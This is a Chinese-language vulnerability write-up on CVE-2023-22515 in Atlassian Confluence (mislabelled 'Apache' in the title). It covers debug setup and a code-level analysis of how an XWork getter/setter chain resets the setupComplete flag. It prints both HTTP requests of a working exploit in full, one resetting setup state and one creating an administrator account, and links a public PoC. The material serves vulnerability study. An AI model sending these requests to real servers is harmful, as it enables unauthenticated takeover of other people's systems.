浅析 Apache Confluence [CVE-2023-22515]

参考:

https://confluence.atlassian.com/conf85/database-setup-for-mysql-1283361000.html

文章目录:

0x01 漏洞概要0x02 漏洞复现0x03 环境搭建0x04 漏洞分析0x05 后续思考

漏洞概要

2023 年 10 月 4 日,Atlassian 发布了CVE-2023-22515 的通报,这是一个影响 Confluence Server 和 Confluence Data Center 漏洞

最初,Atlassian 将此漏洞描述为 权限提升 ,但此后他们将其重新分类为 Broken Access Control Attlassian 提供的 CVSS 分数为 10.0,利用简单,危害大

攻击者可以远程利用此漏洞,并且可以利用该漏洞在目标 Confluence 服务器上创建新的管理员帐户。这可能会导致服务器中保存的数据的完整性和机密性完全丧失

漏洞复现

POC&EXP地址

该漏洞利用十分简单,通过两个数据包就可完成添加管理员的操作

https://github.com/Chocapikk/CVE-2023-22515

首先发送添加管理员的数据包

Confluence 回显:Your confluence instance is already completely setupConfluence 已经完成设置

Payload 1 


GET /server-info.action?BootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: localhost:8090
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
X-Atlassian-Token: no-check

setupComplete=false 告诉 Confluence 未设置完成

 Payload 2


POST /setup/setupadministrator.action HTTP/1.1
Host:127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-Atlassian-Token: no-check
Content-Length: 122
Content-Type: application/x-www-form-urlencoded

username=elk&fullName=elk&email=elk@qq.comt&password=elk&confirm=elk&setup-next-button=Next

接着访问管理页面,成功创建新的管理员

图片

环境搭建

具体的安装就不在累赘了,有几个踩坑点这里提醒下:

  • 需要配置jdbc的驱动包,官网下载mysql8相关版本的jar包,将其放在lib文件夹下

图片

  • Windows版本通过对应服务控制启动

图片

  • 在用mysql做支撑的时候,要修改参数,参考地址

https://confluence.atlassian.com/conf85/database-setup-for-mysql-1283361000.html

由于我是用Windows进行的搭建,因此在此做代码调试

打开 bin 文件夹,控制台输入:

tomcat9w.exe //ES//Confluence301023213941

//ES//表示编辑服务的意思,会弹出一个服务属性窗口,可以对相关属性进行修改

为了调试,需要在 Java Options 输入框中加入如下选项,然后点击确定重启服务即可。

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5080

图片

接着给IDEA配置远程调试,再导入Confluence需要的依赖包       (confluence\WEB-INF 文件夹)

图片

漏洞分析

Confluence 是一个非常大的 Java 应用程序,基于 Apache Struts 框架构建。作为其中的一部分,XWork2 使用了该框架。XWork 框架允许通过 HTTP 请求中提供的 HTTP 参数来设置 Java 对象的参数。

例如在程序中,调用了方法:getFormData().setName("Charles")

通过XWork进行http发送,就是:formData.name=Charles

如果getFormData() 返回 null,则使用默认构造器,再用setFormDat(Object object) 进行设置

step1 发送数据包:

 POST /setup/setupadministrator.action HTTP/1.1
  Host:localhost:8090
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
  Accept-Encoding: gzip, deflate
  Accept: */*
  Connection: close
  X-Atlassian-Token: no-check
  Content-Length: 122
  Content-Type: application/x-www-form-urlencoded
  
  username=elk&fullName=elk&email=elk@qq.comt&password=elk&confirm=elk&setup-next-button=Next

来到 SetupCheckInterceptor 拦截器,触发 intercept() 方法

BootstrapUtils.getBootstrapManager().isSetupComplete() 

和ContainerManager.isContainerSetup()  

用于检查 Confluence 是否进行设置;

BootstrapUtils.getBootstrapManager()返回 DefaultAtlassianBootstrapManager 对象,

再调用isSetupComplete() 方法

public boolean isSetupComplete() {          return this.isBootstrapped() && this.applicationConfig.isSetupComplete();}

图片

这里我估值,返回 alreadysetup

图片

图片

如果我们可以使isSetupCompletereturn false,则SetupCheckInterceptor不会返回 "alreadysetup",也就能对 Confluence实现"覆盖"

前面提到了,XWorks 允许 以HTTP的形式调用对象的setter 方法。我们需要识别一个未经身份验证的端点,其 Action 对象还公开一个合适的 get 方法,该方法将允许我们访问应用程序配置。

存在一个类:com.atlassian.confluence.core.actions.ServerInfoAction

基于 com.atlassian.confluence.core.ConfluenceActionSupport


public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
    // ...
    public BootstrapStatusProvider getBootstrapStatusProvider() {
    if (this.bootstrapStatusProvider == null)
      this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance(); 
    return this.bootstrapStatusProvider;
  }
  // ...
}

它存在 getter方法,返回BootstrapStatusProviderImpl 

该对象实例,又存在 getter 方法,返回ApplicationConfiguration


public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {

  // ...
  public ApplicationConfiguration getApplicationConfig() {
    return this.delegate.getApplicationConfig();
  }
  // ...
}

该对象实例,存在 setter 方法,可以设置应用程序配置


public class ApplicationConfig implements ApplicationConfiguration {
  
  // ...  
  public synchronized void setSetupComplete(boolean setupComplete) {
        this.setupComplete = setupComplete;
    }
  // ...
}

综合起来,调用栈为:

getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false);

以http格式进行发送:bootstrapStatusProvider.applicationConfig.setupComplete=false

Step2 发送数据包,设置 setupComplete=false


GET /server-info.action?BootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: localhost:8090
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
X-Atlassian-Token: no-check

com.atlassian.config.ApplicationConfig#setSetupComplete处设置断点,估值为false

图片

再进行第一步的流量包,此时出现了变化,我们已经能对Confluence进行"覆盖"

图片

思考 

  1. 我们已经看到,此漏洞的根本原因是攻击者能够在未经身份验证的端点的 Action 对象上执行复杂的 getter/setter 方法,从而允许修改关键属性。通过修改setupComplete 属性值,攻击者创建新的管理员用户。

  2. 对于 Struts Action 公开 getter属性所返回的对象要重点关注,尤其注意这些对象中带有的 setter 方法;

  3. 有些对象可能带有隐含的 getter和 setter 方法,比如 Lombok 修饰的对象或者 Spring Bean 等,这类属性可能会被开发者忽略;

  4. 如果攻击者可以找到另一个合适的未经身份验证的端点,则 URI 路径可能与上述不同

  5. CVE-2023-22518 已经出现,虽然详细的分析还没出来,我们也不难猜到,除了针对特定action(例如/server-info.action继承于ConfluenceActionSupport(许多action也是如此))利用漏洞创建新的管理员用户之外,还有其他利用途径…….

希望各位读者看完我们的文章以后自己去实践一下,只有学到脑子里的东西才是自己的,如果遇到困难,可以加本人微信(i_still_be_milu)与麋鹿师傅一起探讨,炼心之路,就在脚下,我们一起成长。

同时欢迎各位同仁关注麋鹿安全,我们的文章会第一时间发布在公众号平台,如果不想错过我们新鲜出炉的好文,那就请扫码关注我们的公众号!(附上本人微信,欢迎各位同仁加我微信,和我探讨安全,同时欢迎同仁们的不吝指正)

img

图片

  • 19
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值